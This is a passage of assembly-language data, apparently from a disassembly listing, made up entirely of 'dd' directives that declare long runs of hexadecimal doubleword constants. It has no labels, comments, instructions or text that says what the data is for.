		dd 8135A5B7h, 3DB00393h, 33994703h, 0D0BB0BE3h,	0FE0FD9FFh
		dd 7690EC87h, 16A00029h, 0A6BEC45Dh, 120001D3h,	39DB232Eh
		dd 0E207A57h, 33C8689h,	16E0B64Ah, 45480C4h, 4A009ABCh
		dd 16784C5Bh, 547DD8h, 349FCA08h, 816A80C9h, 0B3508200h
		dd 999A303h, 0D3580FC2h, 0C1C0EFC3h, 5179EBF3h,	0A6E9DD00h
		dd 0BA62B11Bh, 0EFBE4C98h, 10759618h, 0EB178195h, 0B8015BFEh
		dd 59294197h, 5A3033E1h, 3828001Ah, 3A144793h, 0E3265494h
		dd 6B00D10Fh, 2F02488Bh, 30580332h, 3E99721Ch, 3D1EE1E7h
		dd 0C7AC2013h, 5A0020F8h, 6F6331F3h, 508C871Bh,	59E15Bh
		dd 40522768h, 2BB2AD36h, 2A96D700h, 0C70E54F1h,	0B6900ACh
		dd 86A11B18h, 4E71735Fh, 13121075h, 0CC00A90Ah,	0DD3D34BEh
		dd 1E290053h, 0D83296BCh, 5D007013h, 0EA59FAB4h, 5CDF1739h
		dd 4768C78h, 0D3B30A42h, 524C80EBh, 411FB195h, 0BF009785h
		dd 5D086BAEh, 7A40E82Bh, 5FCC2C75h, 0B6770397h,	0A2989DF6h
		dd 2CC0BD5Eh, 8397B536h, 76090F03h, 0F240514Fh,	3A317D56h
		dd 0E9502974h, 0AFEEB484h, 0AB0087Ah, 0A0708312h, 258CDC00h
		dd 8B8F0Eh, 9A39E0F1h, 7D850D09h, 0D2E1E818h, 38061h, 0CD0CA14Fh
		dd 0DCE0CF8Ah, 119F7A01h, 0E6D089C6h, 0B29C1080h, 4BC3EBDAh
		dd 0CDD9FA00h, 1C48A52Fh, 0C871008Fh, 0EADE880Eh, 0DB00705Bh
		dd 0FFEF2E75h, 578EF2h,	9244E41Eh, 807CF771h, 0F4D9D451h
		dd 467BD0BFh, 0A083D207h, 5B10FFF0h, 3CF4EB22h,	7013B66h
		dd 8E08288Ah, 0BB33E4DBh, 0B50095F2h, 0BF76173Ch, 1854247h
		dd 89E999D9h, 3071A22Fh, 1B00BEBBh, 982573CCh, 47839Bh
		dd 8A182080h, 825BC0ABh, 0A4CFC800h, 0F9F7CCA9h, 9E210026h
		dd 0DBE06827h, 0B80741E2h, 7F0F022Fh, 0D66C14D0h, 0C12600CAh
		dd 0CCEE4864h, 3EF8387Dh, 0BA409F67h, 0DBB84E0h, 1F301F77h
		dd 0E95540DDh, 0BF2B289Ch, 870E53F2h, 205A02E8h, 4BD8ECDh
		dd 0E615F4FAh, 3F0FCB3h, 0E3AF3083h, 0B6E058C4h, 90014BBDh
		dd 2592AC61h, 98D813FAh, 2CD11F83h, 882E009Ch, 0F7535609h
		dd 0ADCD3Fh, 0FE83E5DFh, 34F3ECBh, 5E11C0A9h, 380034D3h
		dd 72F9AE50h, 7B0142Bh,	0BC1C566Bh, 8937C36Dh, 0A633DFA0h
		dd 9218B70Ch, 50E9060h,	0A3E8054Dh, 608E8793h, 0EBFCB146h
		dd 1CAEB800h, 66B0C24Fh, 2F2E00ABh, 0F73709A0h,	0F500867Dh
		dd 27D34ABDh, 0AC83F3h,	59645FEBh, 85129AD8h, 0F1BC1000h
		dd 0ADA63866h, 38BE641h, 0C98A87D2h, 0D4A992A5h, 0C243DCABh
		dd 0BBFE2073h, 70002CE0h, 769631F8h, 50E2D4D5h,	1CEA80Fh
		dd 0B75E92DBh, 0F0446CFFh, 580080DEh, 4B6DF4AEh, 707BE7DDh
		dd 5EA0055h, 0B169E99h,	0ED90D665h, 70E2C02h, 0C0E7573Ch
		dd 0F88B63h, 0F9EE1A58h, 632BC9D5h, 0F611620Ah,	3480D4B7h
		dd 5F0BC2A3h, 0DF0C00CDh, 1F822B6Ch, 0F21C531Bh, 0B6804F80h
		dd 0E6AF5E01h, 5ADF04E2h, 80AAAB22h, 3AAC5404h,	0AD505B00h
		dd 20471633h, 7A400F1h,	7B52FEE7h, 0E60728E3h, 247180BDh
		dd 79C676h, 9FF8B243h, 846E327Ah, 39016377h, 2AEFD26Ch
		dd 0AD9E4A7h, 24E9BC20h, 3AFF5095h, 8332480h, 0CAA89A35h
		dd 3689E800h, 0EBF2D159h, 0A40C2845h, 0A18A39FCh, 9AE6480h
		dd 0B6514AC5h, 0BC00D27Ah, 89BB0627h, 0E07550E3h, 79680093h
		dd 0B544FDD0h, 7F000DE8h, 503298D7h, 1BAF54h, 2BA1BA65h
		dd 5E43D856h, 43CAD48h,	0E20F9AEFh, 0F0B74080h,	20A90092h
		dd 94744B3Dh, 9600A5CBh, 16B860EEh, 0FF8FB0h, 4A6DB709h
		dd 30510210h, 0B000E7Eh, 27CCD564h, 95F046h, 58DA8B1Fh
		dd 7BB23D8Ch, 0E03F2C00h, 0F1624A07h, 3375E7h, 7F23A1ECh
		dd 832032DEh, 9C0B8824h, 1E9FEA8Eh, 517AC680h, 0C21319h
		dd 3F6FB8B3h, 50D8EC92h, 0DD507175h, 0E23EE5C1h, 0EA7922Ah
		dd 17003C1Fh, 4373A256h, 85700028h, 799C540Bh, 87002938h
		dd 993F24A0h, 5849AEBBh, 37002C25h, 47D9E359h, 0B0F1228h
		dd 0AE25B38h, 1992E044h, 0DDE93C00h, 165631Fh, 6B729714h
		dd 205C0924h, 9F147FE4h, 26C0BA48h, 813FC069h, 4A08D574h
		dd 4825EFEAh, 0D76FC8h,	57E44D66h, 0E66AC605h, 2F41A2Ch
		dd 16F5E001h, 0A720049Eh, 0A0934CA0h, 1007874Ch, 0E08F32ABh
		dd 0A8BCF8F7h, 9D47F01Ch, 80C0788Bh, 8FA4CDB2h,	0B0094C46h
		dd 7116C300h, 0EAF3CA5Dh, 0A687019h, 95E03A18h,	0B37D019Eh
		dd 0FA647576h, 0B4DAF072h, 0CF267F00h, 40846AEBh, 75F1E0CAh
		dd 0B1FC0062h, 3DAEAF53h, 0C8CF0E65h, 0D0C5A38Bh, 8CA0C099h
		dd 1C7700FDh, 16970F5Bh, 8200064Fh, 87BD7A0Ch, 383C1942h
		dd 0FE801E8Bh, 90DA9B77h, 84CED11h, 0A5F21E31h,	0CAC001DFh
		dd 0C5886E1Fh, 0D44A0771h, 0F0863F2Eh, 962AC272h, 7E6B2405h
		dd 0F4000DB2h, 8E422B9Eh, 3C2F0E67h, 30807194h,	3D249D88h
		dd 386C9B00h, 99EF852Bh, 3A497435h, 7805BE5h, 0DD5C430Eh
		dd 27004CD6h, 0DB909E17h, 8018A9A8h, 5B001925h,	109B6BD5h
		dd 0B57F1ECh, 0DF6FE586h, 9820880Fh, 63B3254Dh,	0DD2F5800h
		dd 0DB0AF380h, 66C148Fh, 2C3DDC9Ch, 2441F80h, 66A3A6C5h
		dd 9F5F3E00h
		dd 94154C45h, 0DEAC0135h, 0C78C85C6h, 0BC39E4ABh, 9EEA263Fh
		dd 430FBD06h, 0B39A80F3h, 5B03F9h, 0A4C2E845h, 1BA22129h
		dd 975A601h, 0CCDE572Fh, 59571C4h, 0B7221160h, 34F800CEh
		dd 2F2DDF87h, 9DC441Dh,	11192E87h, 0D210Ch, 0BFF82250h
		dd 7D9F4A6Eh, 0C3030092h, 0D0A7333Bh, 0DA19005Dh, 0A0EE7559h
		dd 0EF1E8C3Ch, 2C2CC9E0h, 0D8B54601h, 56A65220h, 9BBF0FBCh
		dd 2D358A1h, 7F6896CDh,	0C73E2400h, 67423h, 0E0A592FEh
		dd 1F22065h, 3029FB60h,	1EC683h, 0E95A28A0h, 0AD64597h
		dd 0D9871B00h, 24D40827h, 74F80035h, 375BF1DCh,	8800E0D7h
		dd 431C9701h, 1E32BF7Ah, 3105A463h, 0F4477BA0h,	1006F636h
		dd 1D168730h, 0F4A40718h, 0B065F277h, 0E5014839h, 0E981510Eh
		dd 0B958E3FDh, 906CC12Fh, 0F4EAE0h, 0C24DC9DDh,	7DF6D9EBh
		dd 897682Eh, 78914C00h,	4D4E81A5h, 0C01C4FEh, 32A388E1h
		dd 0AFD88031h, 105F5D02h, 0C0AE4869h, 0C08FAA1Eh, 4EC67919h
		dd 2B7DDF76h, 0D00D9F2h, 0EA32ACAh, 30887B37h, 0A170FA1Eh
		dd 860031E0h, 0F1585E8Ch, 0DB8099h, 0B89F87B6h,	5DC6CCAh
		dd 0AC0DCF00h, 5C320867h, 0C52A00BCh, 0EFA2C94Fh, 3C0B98D1h
		dd 785A0405h, 8BC403B2h, 9625F0DEh, 0A2581E98h,	89917B03h
		dd 0DBC55485h, 0BBA4D8EDh, 534B0002h, 8C5ADEC6h, 2C00CFB7h
		dd 0C6590FDh, 0C9D0AE27h, 30002BE8h, 0F81774ABh, 0D104E500h
		dd 61729A2Ah, 71253E77h, 40834B1Fh, 1DC91C82h, 401C8F8Ch
		dd 0ECC0C5FAh, 1FE62975h, 44CE0B5h, 72B04D06h, 69708083h
		dd 6A000149h, 0E0AD5C81h, 0B2B4EFh, 0D1980E10h,	0FBDE4E1Ch
		dd 9E2D4C01h, 65A3BB78h, 88B5E4h, 33DBD83Dh, 301AF6B4h
		dd 6E4DD904h, 8C1CA77h,	6456D1D3h, 18648041h, 3AC2007Bh
		dd 6DD4229h, 89001C09h,	63C71DEFh, 0BFE46Bh, 0CF5737Eh
		dd 0A1CE1F6Ah, 0F2DC523Eh, 3BCF9B00h, 8E23EB68h, 786D0292h
		dd 96BBD025h, 1380F443h, 0E075C6Eh, 0AF378A8Fh,	0C4294280h
		dd 0D6570020h, 5383CE38h, 7001F5B1h, 10311235h,	806A93BEh
		dd 994AE0A2h, 2041B1Eh,	72D92D80h, 3A1A1E82h, 0D787A173h
		dd 3079B4EEh, 0B5F683CDh, 3D363F00h, 22FB16D2h,	7DC81CFDh
		dd 3A7BC13Eh, 0E0AC31DAh, 880591D0h, 706D9E15h,	7BEF33C3h
		dd 63510040h, 0CBE48E5Eh, 8600812Eh, 0F8525710h, 0F337A0Eh
		dd 587704B5h, 83280032h, 8A200DCEh, 4861F31Eh, 82D70078h
		dd 7BEEA84Eh, 0DCD60052h, 61C60485h, 0F0FFBE0h,	2C486DD0h
		dd 7CB314Eh, 2B879436h,	0D9CFA23Ch, 0A248D498h,	0C8FA13F9h
		dd 0B899F44Ah, 94C130F9h, 566C1141h, 0E6FB3700h, 0BEA7BDA6h
		dd 97320079h, 31AD09C6h, 74928326h, 184BE839h, 6A5889EDh
		dd 0FCD9056Dh, 80C63068h, 1681A874h, 8F00B7E0h,	9CB3ED3Ch
		dd 74CBFC7Ch, 5B48C3DEh, 3BF08E9Ah, 0F4009DBEh,	0BC018449h
		dd 38402341h, 0AA8A0D52h, 0A8FA87h, 0F45BD404h,	2300AE8Fh
		dd 0E48B91F0h, 74CBFB45h, 6C0F97A6h, 0D4D234C2h, 2BF8EC63h
		dd 2FE81DA8h, 586FB400h, 0B9E61542h, 39620530h,	88DAD422h
		dd 0C8C0C8ECh, 0B94AF4E1h, 444724F6h, 0F9AC0028h, 39F3AAB8h
		dd 0AB38600h, 0F01F7E14h, 0C86F60B9h, 31EDA536h, 3F1E2500h
		dd 501ACC34h, 70F01293h, 0CE5C01C7h, 811F8E39h,	6ADB9C31h
		dd 0A830A543h, 0E3160153h, 9B90BDE6h, 0B77C743Ah, 0B23FFA1Fh
		dd 40862449h, 0C9FB9Ch,	276FAA9Fh, 0EE3330D2h, 0CF7AD401h
		dd 5BC46D42h, 2C7CAC70h, 8EBC8AC7h, 0D0007206h,	0D5953257h
		dd 3EB49F58h, 6C48D8h, 3758E1CFh, 4AE30ED6h, 6644002Ah
		dd 822231AEh, 4E198B00h, 46E2FE5Bh, 0DBEF0097h,	15D33E4Dh
		dd 0D90021FCh, 27E3798Ch, 2C1CABAAh, 13146E8Eh,	0E43C030Ah
		dd 0C0A04A85h, 0DF377FA6h, 8D90D8DBh, 1E6FF998h, 4009E115h
		dd 0E5F00393h, 1F007AB4h, 42AC7562h, 40C267h, 0A5B377A6h
		dd 1BE6D163h, 0C9BF9E00h, 19C88B97h, 0C58D0F4Bh, 78183542h
		dd 0B3135E1Fh, 0ED0047A8h, 0F47122DFh, 0A79F0081h, 59C55152h
		dd 0D6005A61h, 0A5CFF644h, 14A1222Ah, 8FE2346Bh, 0A2172000h
		dd 0D8E3336Ah, 8F6E9C03h, 0F8A33CE0h, 9B48B6h, 0B22FDEBDh
		dd 8B5AC3E6h, 9ECBAD00h, 6B134C8Dh, 54C90725h, 0F0A0D00Dh
		dd 74465F12h, 0BA50C8EBh, 53011000h, 43C20C30h,	39A31F48h
		dd 0EFB58071h, 97A7CCBCh, 220045FAh, 65E9500Ah,	6D0631h
		dd 7F27637Eh, 339FA91Ch, 7484131Fh, 0FE2BB783h,	5407C04Fh
		dd 0C10D002Dh, 40C96E12h, 14C2972h, 16051294h, 3BB31480h
		dd 0CDBA2C70h, 0DA9700A8h, 1E782CFCh, 0C1DF8401h, 0AFB2935Ah
		dd 0A1EDB080h, 3002EF55h, 0A0AC1F00h, 0CF01D65Bh, 1C9B8F9h
		dd 0C6B5A60h, 704B8AA3h, 0C7020778h, 0BE796F3Bh, 124049C3h
		dd 1FDCD031h, 0BC98F2h,	0EE109BEAh, 6E7B6F3h, 94EDF58h
		dd 20BB1E0Dh, 8C7B387Ch, 0E3C921Bh, 691AB407h, 997FEC20h
		dd 65F20910h, 13268112h, 4F8024C0h, 34D312C2h, 0F2944276h
		dd 0C1E0B343h, 790093D8h, 0F6F546C0h, 2E9CAA09h, 0C03E9h
		dd 6DC89D5Ch, 8D3EA71Bh, 6CB98015h, 6253D4F9h, 85E30007h
		dd 1F4B7BBDh, 7107BCF3h, 0EE839769h, 9829F2B1h,	3A401CD4h
		dd 0ED03CC33h, 0BE1F0720h, 0B4606BAAh, 0D00711FCh, 0D8AD6C21h
		dd 0A084690h, 498C60A5h, 7263C909h, 42EF31C0h, 1E9BF9F8h
		dd 9953D6Ch, 1000BA83h,	3405D277h, 0E9009C90h, 635775A1h
		dd 0C96A210Ch, 0BF00D948h, 27FFEFEDh, 6EDFD300h, 4C50253h
		dd 8448C096h, 2DB80313h, 0F3C45200h, 0A390C026h, 14C13D1Ah
		dd 0EF5BCD0h, 0CBCA3CCEh, 2FD6E6Ah, 0F336EA83h,	299D70C0h
		dd 80A9AF3Ch, 4D4067Bh,	0CE8B38h, 0CA731043h, 0FF608203h
		dd 5D41D100h, 94B9F3DAh, 14A0C029h, 0AC03D656h,	0D380E8C0h
		dd 26BA1FABh, 3B2A13h, 7EC7FFB8h, 6A0B6B93h, 80D2F38Ch
		dd 7C871E4h, 0E47A2E3Dh, 402A67h, 0D30EFD76h, 33A55197h
		dd 4F00E17Bh, 1B2CE8A2h, 783D20h, 0B8F3218Ch, 9A35D265h
		dd 0D0E31332h, 46C2E090h, 55AF00F6h, 3825B4B5h,	21C01297h
		dd 8184CE8Fh, 0E8F700F5h, 3E1EE089h, 0E898C635h, 0E5E14701h
		dd 0BE082E4Fh, 1FD37EDCh, 40CBA019h, 1B44D960h,	3F01D8ECh
		dd 0A40F8E8Ch, 12FC6677h, 28B5006Dh, 9D2572F9h,	0E5007483h
		dd 998FEB57h, 79F0BBCh,	1B7DF6CBh, 67C2B05Ah, 23005184h
		dd 0AFCE2573h, 0CB1944Bh, 29A70511h, 0E11D0A19h, 0EA4C4E46h
		dd 24041C3h, 8EDBCEBFh,	0B9203C9Dh, 4C93DFCh, 82328492h
		dd 47E8803Fh, 0F2805A24h, 0AC885FBBh, 45F904ABh, 0E5C0227Fh
		dd 5CD62EC4h, 0DF002066h, 71EF1F47h, 0B009FE1h,	29B1BF5Bh
		dd 2F26A9Eh, 2F7A7491h,	0F880EDFEh, 0EC7B39B6h,	0AA24751Ch
		dd 9938AD40h, 4B9FEE8Fh, 0B9ACF1h, 51EA88BFh, 1E64EBCBh
		dd 0C01A477Ch, 2F86D6F3h, 0E824F103h, 0A0024C9Ah, 40423A6Fh
		dd 626B7ECh, 20081F1Ch,	0E6002101h, 0A76440E9h,	14ABAE73h
		dd 0A467FF62h, 469F8000h, 6AB0F90Ch, 792E40C7h,	0B3F0804Bh
		dd 9EB6ABh, 0EB874BDFh,	0D1A042F7h, 0E077623Ah,	2047F458h
		dd 7CE00A1Fh, 3945394h,	435C7D6Eh, 0DCD92000h, 0D7D4C142h
		dd 0E5AD0434h, 83EAD822h, 95F8F724h, 88A0BE9Ch,	2E029919h
		dd 5303411Eh, 0CFD44042h, 0BA72032Bh, 9B6A1645h, 114940B8h
		dd 33B9F100h, 0C9046563h, 0FF68015Eh, 9CC5F8Ah,	0E08603DFh
		dd 0A59690h, 0CD5A59C6h
		dd 6FA42DECh, 5E280E07h, 9DE0C3E7h, 7C51267h, 0D90FE55Dh
		dd 87D2432Eh, 0F5688AC0h, 0AD559A00h, 0E4126574h, 89910003h
		dd 0B85B56D7h, 87F5DD6h, 9B011D09h, 15242036h, 564FE0h
		dd 6B749813h, 5FFE901Fh, 0AD3FDC01h, 4301AC4Ah,	0CA001CFDh
		dd 985849E4h, 85C60134h, 5CBFAC51h, 12B16CD4h, 40C76D8Dh
		dd 7AA31040h, 0F00BE6Bh, 8B289D78h, 7658463h, 0DC499686h
		dd 606817C6h, 8FD4D05Fh, 8EA7B05h, 9080F281h, 1F729F9Ch
		dd 0D7D9F667h, 51040074h, 4966C790h, 72E3DCFDh,	22CB7C02h
		dd 0F0F1E448h, 0C16E06A8h, 114F869Dh, 7CA4CD00h, 0B71930D8h
		dd 5F2603D4h, 0EA9BA966h, 0F7D8C085h, 850538E6h, 8E24C3CDh
		dd 35E1480h, 0EE5612DFh, 0ABAC0209h, 0D5005B7Dh, 0F0AC39E6h
		dd 0A29115E0h, 0B40BE037h, 50A06007h, 6F2028E6h, 17248D17h
		dd 0B752EC00h, 99A4BB4h, 8C4F37BEh, 9B0C5C00h, 90027CEh
		dd 3532D88Dh, 311B079h,	0E728750Dh, 280F82C2h, 2FF4BE3Fh
		dd 67C412Fh, 4FE02CD8h,	0C8111823h, 984580B4h, 650C927h
		dd 3385BCCh, 0EDB9768h,	0E9F0B17Eh, 0F70A7C05h,	0A845D1D8h
		dd 184B4700h, 77E3891h,	23205EBCh, 0B15010C8h, 3C001CD4h
		dd 21142A71h, 0E9BFA4h,	0EB47E88h, 630C407Fh, 660FE898h
		dd 0E3391862h, 90998B9Dh, 1EF8EE2Ch, 471D7394h,	90CC83F2h
		dd 7A2E931Eh, 1970F11Fh, 0E6FC9283h, 91200DAh, 0FEEC87D6h
		dd 696034DCh, 0F3FBAC16h, 1A6300F7h, 533B0605h,	0C800AEE5h
		dd 8EC1AD8Ch, 485D1095h, 4800385Ch, 1689C302h, 9700BD06h
		dd 83A90E18h, 0BEFB4Ch,	0AC0F1796h, 0B4739A80h,	0C9974800h
		dd 0D9A73CE2h, 964B06B2h, 103EDFCAh, 797AAF05h,	0FCC00F60h
		dd 390128DDh, 4C80BA8Eh, 4FFAC754h, 309B880h, 22F4E547h
		dd 60C47100h, 18CE275Dh, 194590A3h, 777615C2h, 5B5C9CBAh
		dd 0D0890940h, 22488BCDh, 6016E86Ch, 4A9C9BEh, 0A43BDFCCh
		dd 0E402AA85h, 426EC81Ah, 1B7881E4h, 802465C4h,	6C2C1F44h
		dd 0C52604E0h, 0A4914214h, 9725E07Ah, 30500279h, 5B263AA2h
		dd 28BF9480h, 0E9008EA0h, 3821E4FFh, 0C32B7Ah, 0C8670623h
		dd 0B61495CAh, 0BA733C0Bh, 37C48011h, 0F390FF7h, 3A8AE355h
		dd 9581D0A3h, 59FDD000h, 9DD50AF2h, 421F206Ah, 64E7DD1Eh
		dd 1E2AB7C4h, 14C0FE84h, 96F8C804h, 9B5C0EE0h, 9E23A460h
		dd 0DAE25F0Ch, 62DEE701h, 3D8D5F2h, 84554880h, 3E3D4AC6h
		dd 0D2B05F09h, 0F6746018h, 0E89B092Eh, 4C804568h, 334C91E5h
		dd 0A3249600h, 1D742642h, 0ED3D0F7Bh, 35E08BD6h, 0DDF7FBA7h
		dd 5D5A94A8h, 615A401h,	70C5A09Dh, 2A09E4h, 2B6FBC37h
		dd 0B627D4DFh, 9CC29B00h, 7E2CDB30h, 77FB0B83h,	6C4478FAh
		dd 101FE5FBh, 868ABh, 0F29EA530h, 5FE5A645h, 4B0A5890h
		dd 0C405CB5Ah, 9B2AF080h, 96EE3E71h, 0C3161250h, 9EF8E358h
		dd 0A400171Fh, 0AC5B8268h, 7FC19F40h, 0D1AF00DAh, 0C29E43AAh
		dd 10C036D7h, 687182A7h, 58900Eh, 8DF940E5h, 1DD2E4BAh
		dd 1C9F534Ch, 500B598h,	0A8973F72h, 9A06251Fh, 0F389403h
		dd 0A3A7480h, 0EC884C28h, 791834F8h, 7118BCAh, 0CD4F2E73h
		dd 46A0942h, 4500105Ah,	0DDB5AFF5h, 3820B6h, 5E0DC3A2h
		dd 0BF6A2313h, 4354E500h, 8DE18EFCh, 74310EF9h,	57806E62h
		dd 42EE635Ah, 53A52201h, 0F7EF4ECAh, 700A47Ch, 0D904F57Eh
		dd 0EE001291h, 742B71C5h, 0B2920A1h, 5C0ADB8h, 0C2826407h
		dd 0BC83A03Bh, 0C0FCAC40h, 0A9A6AAABh, 6E157000h, 796F3703h
		dd 26D10542h, 84DEB08Bh, 12E2807Ch, 2D48B809h, 0FA1C0034h
		dd 0F3137BBBh, 0BAE2AFh, 5EE3425Fh, 1A77B7F9h, 0B94A2400h
		dd 0E54861D4h, 8B563E64h, 0A144A984h, 6FF0D0D7h, 831441AEh
		dd 3DF67E4h, 1DE8E0Fh, 7C708F5Ah, 6D12AFh, 629369A2h, 14830667h
		dd 0C3C6A300h, 7D046154h, 0CB9C0E1Ah, 122051D6h, 0D78C088Fh
		dd 9847D25Eh, 0CF708D03h, 1B5048h, 0E353F226h, 5EC4583Ch
		dd 0AF18C0B2h, 0FF79DB17h, 0E1B700EBh, 0ABB625EAh, 1BFCE35Fh
		dd 0EB5710A0h, 66E11CA0h, 0F85DFA37h, 3F415647h, 1040C758h
		dd 6DB47DDh, 327E8688h,	2801088Bh, 0EC6DD36Ah, 0C0FCB44Ah
		dd 78CC003Fh, 874C82E0h, 0AF7C1817h, 3B229800h,	2A8B7079h
		dd 0DD90C7E5h, 6F69D11Eh, 0E360816Ch, 5E82FA7Eh, 0A187DAD1h
		dd 93468533h, 0E9F8065Fh, 591E0A1Bh, 41B3FA8Eh,	2B300E8Ch
		dd 9BE63F8Bh, 0D61F3806h, 5D4F1F84h, 0BFB6E02Eh, 0F85104B2h
		dd 1DA1019Ch, 5B2DC78Fh, 591FECDCh, 0AC03B77Bh,	0EF24E5D9h
		dd 0E045A0BDh, 0E9DD155Fh, 0F4008067h, 84E2F209h, 0DA03B353h
		dd 6469EB8Dh, 55E99F7h,	11107983h, 0DCF73053h, 0F800FE39h
		dd 0C0863D07h, 697270Dh, 8CC35766h, 0DB0220BFh,	0FC6F9532h
		dd 0C0B38099h, 2E76112h, 67EF6EE5h, 0C7602618h,	5034C44h
		dd 5A698CDDh, 50717704h, 5DEB01Dh, 0B20A976Dh, 0ADC40380h
		dd 8AD82D40h, 0CB00736Eh, 3EC64583h, 3069CA05h,	82410261h
		dd 0CA0C21Dh, 67880660h, 23BE2612h, 71D20AC6h, 5B6906C8h
		dd 0C03C2111h, 5698074Bh, 887743h, 0BE55D0ADh, 15018EAFh
		dd 0EADBDD30h, 370059F2h, 965CBF72h, 46B20323h,	0DFC7B052h
		dd 1290E927h, 9760CCh, 5CA45309h, 0C6DB12Eh, 168B8707h
		dd 70F1E535h, 29800926h, 0BF2B4D69h, 0C01E2AA9h, 803FFC22h
		dd 0A619CB50h, 19284F8h, 0CC047E0Ah, 8003A248h,	0BD755338h
		dd 1B974BFh, 5E96137Fh,	879AE3DBh, 928EFD21h, 0BC8C50E0h
		dd 84A71218h, 0BBCF00BDh, 0AE7FE1DBh, 0F1BA5A01h, 0F65C0302h
		dd 0A4E5E1DFh, 0C80418Ch, 49000AA1h, 10EB0B3Fh,	5BB605h
		dd 477C4F4Dh, 504A8C45h, 0ED2410C0h, 0A66CB8h, 86E2ABC2h
		dd 116FF578h, 0EA9C8F0Fh, 65BA21D5h, 59810A80h,	4DD82264h
		dd 0F1446158h, 12198705h, 884C6C51h, 1D812255h,	80AAEF3Bh
		dd 0E0EB98C3h, 30B55869h, 0BD2896FFh, 0DE0F3AC4h, 2EFDB8h
		dd 9835A0A7h, 0B60C00C3h, 0D9FB4EB0h, 8A001775h, 0D128095Dh
		dd 76BF5Fh, 9E310FE7h, 0EE6D0A4Fh, 63778D00h, 6AB60D20h
		dd 85E00048h, 23FF38D1h, 2E1E877Ah, 0D300E141h,	61EAA3F1h
		dd 0B7C4309Eh, 2A71A468h, 808F4200h, 63E83383h,	4AC10029h
		dd 6085BAE7h, 5061B037h, 226F5D70h, 0B8EB68C5h,	0E2846E8h
		dd 4FFB38C3h, 0C510BE00h, 637F9267h, 0D961BC60h, 0FAF515Eh
		dd 6C0E9B35h, 0F4A1BDC0h, 6E791706h, 3460F3Eh, 9B847F37h
		dd 0F63A89CFh, 0E038037Bh, 0F7C0C69Dh, 3C4CBFB7h, 18B03BA3h
		dd 0C08E7F5h, 9B1630D1h, 0F4240D10h, 0E6046424h, 8F5BA409h
		dd 0FD770043h, 0C0B53F1Bh, 0CF4C6B91h, 0A03DFB7Bh, 1CAFBE7Eh
		dd 0BA8E72h, 7FFD6E5Fh,	0E4205861h, 0CB970095h,	3F501CDCh
		dd 780EBD54h, 8057378Fh, 0D1734E3Eh, 0DCA80B01h, 0F90662C4h
		dd 696008BCh, 1C99421h,	0B52200B9h, 0FA4BDAA4h,	6B90C128h
		dd 0E0D89600h, 59474A55h, 14EE860h, 0CD2E7853h,	0CE6E828Dh
		dd 0CABB4043h, 0B7FC74C8h, 8C405A00h, 0FFFE1AADh, 7E4C3D75h
		dd 0A838B330h, 6030A94Fh, 0AD5E4941h, 0C7D70116h, 0BF7C77C3h
		dd 5A088C93h, 84204Fh, 0CBE816A5h, 88A88A0Ch, 230C66F0h
		dd 0C164389Eh, 934C3CD2h, 0D4EF1680h, 82B7FE2Dh, 3B0C3Ah
		dd 5BD5484Dh, 12F11104h, 0D169FEAh, 8FD03E57h, 3E25341h
		dd 7C3BA5h, 129D9811h, 73BB01B3h, 82F95719h, 219D9508h
		dd 451240BFh
		dd 0DE90D64Bh, 0F13C9671h, 0ECC70F9Fh, 5437471Ch, 5CDF2DC1h
		dd 1A47EECh, 3D391107h,	88E504h, 41A30DDCh, 28E4F05Ah
		dd 0E0A9997Ch, 8D0188Eh, 0BCDCA701h, 934568C4h,	8EF000C8h
		dd 0DD390EF8h, 540B3514h, 52B840BCh, 69602BF6h,	3F0FC910h
		dd 4BAE3D6Dh, 0AACF0375h, 10802057h, 77EA76E0h,	0B1045256h
		dd 20447554h, 0A2A8046Bh, 5DA82300h, 68144EB7h,	0EE5100C6h
		dd 1040AAC5h, 4F067D9Dh, 77DA754Ah, 45263C39h, 1173E018h
		dd 0CD00BAF5h, 974D082Eh, 0B3B8D5h, 0EA714B68h,	0A7F65BACh
		dd 7C64EC00h, 5CC677EFh, 0DDCA023Ah, 5688A2B5h,	0D7F01040h
		dd 5D128C26h, 0FB87E800h, 71EF7F45h, 421F0326h,	0FCC10FF9h
		dd 5E752007h, 20EAA28Eh, 8C42AA78h, 0F4B8960Fh,	8DB0C7C9h
		dd 0BC80CAh, 8A6F9C53h,	0F8AFD39Dh, 14AD0F0Fh, 0A50097E3h
		dd 4162469Bh, 25F15003h, 98F03D15h, 4F2C2EDh, 3B6B516Eh
		dd 61709057h, 0E288EBE8h, 7E0F0CFAh, 0F9B078C1h, 29D8FB31h
		dd 7D26B3Bh, 0AC668007h, 5700BFD1h, 1FB1CF0Fh, 0DC78D16h
		dd 0F78CB29Dh, 0BF86E051h, 254DD400h, 0AF8DC0A0h, 0C4930D5Dh
		dd 0E4595B0Fh, 98003862h, 14A5D467h, 39E8EEB9h,	6FB9B3C0h
		dd 0F0747980h, 93BEB897h, 693B2218h, 0C05689h, 15FD63DFh
		dd 30839799h, 93470400h, 0D97C196Bh, 0AA5A0FCFh, 0B361E914h
		dd 2579736Ah, 7E34C420h, 0D7F34B06h, 1BF011F9h,	21736B6Ah
		dd 1444DC92h, 0D1DF70F6h, 7D232600h, 5EBFCB0h, 0A87CE35Dh
		dd 93CC208Ch, 693BBD82h, 66E018EDh, 88F88D41h, 0D73E2CA6h
		dd 21300AFh, 6A053C59h,	0E44400DCh, 0CFA227BAh,	0E90C80EEh
		dd 606E23ECh, 4971603Bh, 0D69B7E1Dh, 0FC001E77h, 7CE6B062h
		dd 0C4F2F161h, 0C8FDF961h, 0F9C0B25Ch, 286FED4Bh, 18649063h
		dd 5168DD76h, 12006B16h, 58667478h, 7FF1AE0Bh, 0D3141840h
		dd 7A96F175h, 0EF6C0D01h, 95188BDAh, 17202C8h, 6FB34A09h
		dd 487C66B8h, 9701EA80h, 0F2C1BA61h, 94591519h,	15280F4h
		dd 7807BB8Fh, 8374D676h, 0F3F98189h, 4EB90353h,	79809F7Bh
		dd 69DFB111h, 7D6D6B0Ah, 10A44DD0h, 916FE9D0h, 1F308C67h
		dd 14EAA687h, 0A018C300h, 8F84EEEh, 69586FECh, 4160100Ch
		dd 0C7F21D08h, 0D1DD838Ah, 0C4F095CAh, 0B4380E18h, 306B326Fh
		dd 0A8C49BBAh, 7632FD94h, 0BDC40CFCh, 0F7F88612h, 6A84ED54h
		dd 140AC9B0h, 0C4DD5FA9h, 0B56BEC0Fh, 76E22E8h,	1089EE6h
		dd 8012511Ch, 976450E8h, 31DF911h, 0B0C16A3Bh, 0E6A65198h
		dd 92951830h, 6FF9FBD0h, 0DEF2BC4Ch, 0F4B0659h,	7D78E15Fh
